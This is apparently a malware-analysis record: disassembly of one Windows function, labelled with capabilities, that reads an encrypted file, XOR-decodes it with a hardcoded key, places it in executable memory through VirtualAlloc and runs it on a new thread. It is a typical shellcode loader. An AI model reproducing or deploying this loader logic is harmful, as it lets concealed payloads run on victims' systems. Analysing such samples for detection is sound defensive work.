Function at 0x140001290
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x70]
call fcn.140002340
nop
cmp qword [rbp + 0x20], 0
jne 0x140001318
lea rdx, str.Error_opening_encrypted_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002880
mov rcx, rax
lea rdx, [0x140002a50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 0xffffffff
jmp 0x1400015e1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
xor r12d, r12d
mov qword [rsp + 0x70], r12
mov word [rsp + 0x78], 1
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx - 0x28]
mov qword [rsp + 0x40], rax
test rax, rax
sete byte [rsp + 0x48]
mov byte [rsp + 0x49], r12b
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x50], rcx
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
movzx esi, byte [rsp + 0x49]
mov rbx, qword [rsp + 0x40]
movzx r15d, byte [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
test rax, rax
jne 0x1400013a6
movzx r14d, byte [rsp + 0x48]
jmp 0x1400013c4
test rbx, rbx
je 0x1400013be
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400013be
movzx esi, al
jmp 0x1400013c1
mov rbx, r12
mov r14b, 1
test r15b, r15b
jne 0x1400013e2
test rdi, rdi
je 0x1400013dc
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x1400013df
mov rdi, r12
mov r15b, 1
test rbx, rbx
jne 0x1400014d9
test rdi, rdi
jne 0x1400014e2
lea rcx, [rbp - 0x60]
call fcn.1400027c0
test rax, rax
jne 0x14000141e
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 8
mov qword [rbp - 0x78], 0xf
movabs rax, 0x33323172657a6177
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 0
mov rcx, r12
mov r10, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
cmp r10, rdx
je 0x140001486
nop dword [rax]
mov rax, rcx
and eax, 7
movzx eax, byte [rsp + rax + 0x70]
xor byte [rdx + rcx], al
inc rcx
mov r10, qword [rsp + 0x60]
mov rax, r10
mov rdx, qword [rsp + 0x58]
sub rax, rdx
cmp rcx, rax
jb 0x140001460
sub r10, rdx
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001556
lea rdx, str.Memory_allocation_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002880
mov rcx, rax
lea rdx, [0x140002a50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 0xffffffff
jmp 0x140001593
test rdi, rdi
jne 0x1400013f4
test r14b, r14b
jne 0x140001502
test rbx, rbx
je 0x1400014ff
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400014ff
movzx esi, al
jmp 0x140001502
mov rbx, r12
mov byte [rsp + 0x30], sil
mov rax, qword [rsp + 0x60]
cmp rax, qword [rsp + 0x68]
je 0x14000151d
mov byte [rax], sil
inc qword [rsp + 0x60]
jmp 0x140001531
lea r8, [rsp + 0x30]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x58]
call fcn.140002df0
test rbx, rbx
je 0x1400013be
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400013be
mov byte [rsp + 0x48], 0
jmp 0x1400013a6
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r12d
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400015e1
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000303c
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea rcx, [rbp - 0x70]
call fcn.140001620
mov eax, ebx
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140002fe0
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret